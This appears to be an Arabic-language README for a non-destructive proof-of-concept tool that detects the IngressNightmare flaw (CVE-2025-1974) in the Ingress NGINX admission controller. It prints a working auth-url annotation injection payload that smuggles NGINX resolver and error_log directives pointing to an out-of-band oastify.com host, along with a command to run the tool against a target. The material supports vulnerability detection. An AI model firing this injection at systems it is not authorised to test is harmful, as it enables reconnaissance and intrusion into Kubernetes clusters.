
أداة إثبات المفهوم للكشف عن IngressNightmare (CVE-2025-1974) عبر وسائل نشطة (غير تدخليّة).
توفر هذه الأداة إمكانية كشف غير تخربي لسلسلة الثغرات IngressNightmare (CVE-2025-1974) التي تؤثر على وحدة التحكم Ingress NGINX. تستخدم الأداة بشكل خاص ناقل حقن التعليق التوضيحي auth-url (CVE-2025-24514) للتحقق من وجود هذه الثغرة الحرجة دون تنفيذ كود عشوائي.
تسمح سلسلة الثغرات IngressNightmare للمهاجمين بحقن توجيهات تكوين NGINX عشوائية من خلال حقول تعليقات توضيحية مختلفة في Ingress. عندما تتم معالجة موارد Ingress الخبيثة هذه بواسطة وحدة التحكم في القبول، يتم تقييم التوجيهات المحقونة أثناء مرحلة التحقق من تكوين NGINX (nginx -t).
يستغل هذا الإثبات المفاهيمي (PoC) على وجه التحديد ثغرة التعليق التوضيحي auth-url عن طريق حقن توجيه error_log مع خادم syslog يشير إلى نطاق يتحكم فيه المهاجم. أثناء التحقق من التكوين، سيقوم NGINX بما يلي:
يوفر نشاط حل DNS هذا إشارة موثوقة إلى أن الهدف معرض للخطر دون الحاجة إلى تنفيذ كود أو تعطيل الخدمة.
أنشئ مستمع استرجاع DNS باستخدام Burp Collaborator أو interactsh أو أي خدمة مراقبة DNS.
نفّذ أداة الكشف:
$ python3 detect.py -t https://target-admission-controller:443 -c w00tw00t.lf4v7uehamhtt4hufhstpla09rfi38rx.oastify.com
إذا كان الهدف معرضًا للخطر، ستلاحظ محاولات حل DNS لنطاق استرجاع DNS الخاص بك:

تقوم الأداة بصياغة كائن AdmissionReview مشكّل خصيصًا يحتوي على مورد Ingress مع حمولة الحقن التالية:
nginx.ingress.kubernetes.io/auth-url: "http://example.com/#;\n resolver 8.8.8.8;\n error_log syslog:server=unique-id.oastify.com:80 debug;\n #"
تقوم هذه الحمولة بما يلي:
#) لإنهاء عنوان URLerror_log مع syslog يشير إلى نطاق استرجاع DNSعند معالجتها بواسطة وحدة تحكم قبول معرضة للخطر، ينتج عن ذلك بحث DNS خارجي يؤكد وجود الثغرة.
تكتشف هذه الأداة وجود الثغرة فقط ولا تحاول استغلالها لتنفيذ كود عشوائي.